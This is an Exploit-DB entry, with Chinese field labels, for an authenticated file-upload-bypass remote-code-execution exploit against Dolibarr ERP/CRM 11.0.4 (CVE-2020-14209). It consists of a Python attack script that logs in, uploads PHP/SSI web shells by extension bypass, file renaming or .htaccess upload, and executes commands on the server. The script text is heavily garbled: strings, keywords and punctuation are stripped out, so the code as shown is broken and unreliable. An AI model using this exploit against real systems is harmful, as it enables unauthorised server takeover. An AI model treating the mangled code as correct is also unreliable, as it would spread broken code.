标题: Dolibarr ERP 11.0.4 - File Upload Restrictions Bypass (Authenticated RCE) EDB-ID: 49711 CVE: 2020-14209 类型: WEBAPPS 平台: PHP 发布日期: 2021-03-25 漏洞利用脚本: # Exploit Title: Dolibarr ERP/CRM 11.0.4 - File Upload Restrictions Bypass (Authenticated RCE)
# Date: 16/06/2020
# Exploit Author: Andrea Gonzalez
# Vendor Homepage: https://www.dolibarr.org/
# Software Link: https://github.com/Dolibarr/dolibarr
# Version: Prior to 11.0.5
# Tested on: Debian 9.12 
# CVE : CVE-2020-14209

#!/usr/bin/python3

# Choose between 3 types of exploitation: extension-bypass, file-renaming or htaccess. If no option is selected, all 3 methods are tested. 

 re
 sys
 random
 string
 argparse
 requests
 urllibparse
 urllibparse  urlparse

session  requestsSession
base_url  
documents_url  
proxies  
user_id  

 
    BOLD  
    HEADER  
    OKBLUE  
    OKGREEN  
    WARNING  
    FAIL  
    ENDC  

 s color
    f
    
 
    parser  argparseArgumentParserdescription
    parseradd_argument metavar 
    parseradd_argument  dest 
    parseradd_argument  dest default 
    parseradd_argument  dest 
    parseradd_argument dest action
                        default
                        
    parseradd_argument dest action
                        default
                        
    parseradd_argument dest action
                        default
                        
    required  parseradd_argument_group
    requiredadd_argument   required
    requiredadd_argument   required
     parserparse_args
    
 s end
    printcs bcolorsHEADER
     end
        sysexit
    

 user password
    data  
         
         
         user
         password
    
    login_url  urllibparseurljoinbase_url 
    r  sessionpostlogin_url datadata proxiesproxies
    
        regex  rer
        match  regexsearchrtext
         matchgroup
     Exception  e
        
         

 filename payload
    files  
         filename payload
    
    data  
         
    
    headers  
         base_url
    
    upload_url  urllibparseurljoinbase_url   user_id
    sessionpostupload_url filesfiles headersheaders datadata proxiesproxies

 filename
    data  
         
         
         filename
    
    headers  
         base_url
    
    delete_url  urllibparseurljoinbase_url   user_id
    sessionpostdelete_url headersheaders datadata proxiesproxies
    
 filename new_filename
    data  
         
         
         filename
         new_filename
         
    
    headers  
         base_url
    
    rename_url  urllibparseurljoinbase_url   user_id
    sessionpostrename_url headersheaders datadata proxiesproxies
    
 filename payload query headers
    file_url  urllibparseurljoindocuments_url   user_id filename query
    r  sessiongetfile_url headersheaders proxiesproxies
     rstatus_code  
        error  rstatus_code file_url
     payload  rtext
        error  file_url
    
        printc  file_url rtextstrip bcolorsOKGREEN
         
     

 
     joinrandomchoicestringascii_lowercase  stringdigits  _  

 payload query
    php_extensions           
    random_filename  get_random_filename
    b  
     extension  php_extensions
        filename  random_filename  extension
        uploadfilename payload
         test_payloadfilename payload query
            b  
     b

 payload command
    filename  get_random_filename  
    uploadfilename payload
     test_payloadfilename payload  headers command

 payload query
    filename  get_random_filename  
    uploadfilename payload
    renamefilename   filename
     test_payloadfilename payload query

 payload query
    filename  get_random_filename  
    uploadfilename payload
    filename_ht  get_random_filename  
    uploadfilename_ht 
    delete
    renamefilename_ht 
     test_payloadfilename payload query


 __name__  
    args  read_args
    base_url  argsbase_url  argsbase_url    argsbase_url  
    documents_url  argsdurl  argsdurl  urllibparseurljoinbase_url 
    documents_url  documents_url  documents_url    documents_url  
    user  argsuser
    password  argspassword
    payload  
    payload_ssi  
    command  argscmd
    query    command
     argsproxy
        proxies   argsproxy  argsproxy

    user_id  loginuser password
     user_id  
        error 
    printc  user_id bcolorsOKGREEN
      
      argsfbypass   argsfrenaming   argshtaccess
        argsfbypass  argsfrenaming  argshtaccess  

     argsfbypass
        printc bcolorsBOLD
        b  upload_executable_file_phppayload query
        b  upload_executable_file_ssipayload_ssi command  b
         b
            printc bcolorsOKBLUE
        
            printc bcolorsWARNING
          
     argsfrenaming
        printc bcolorsBOLD
         upload_and_rename_filepayload query
            printc bcolorsOKBLUE
        
            printc bcolorsWARNING
          
     argshtaccess
        printc bcolorsBOLD
         upload_htaccesspayload query
            printc bcolorsOKBLUE
        
            printc bcolorsWARNING URL: https://www.exploit-db.com/exploits/49711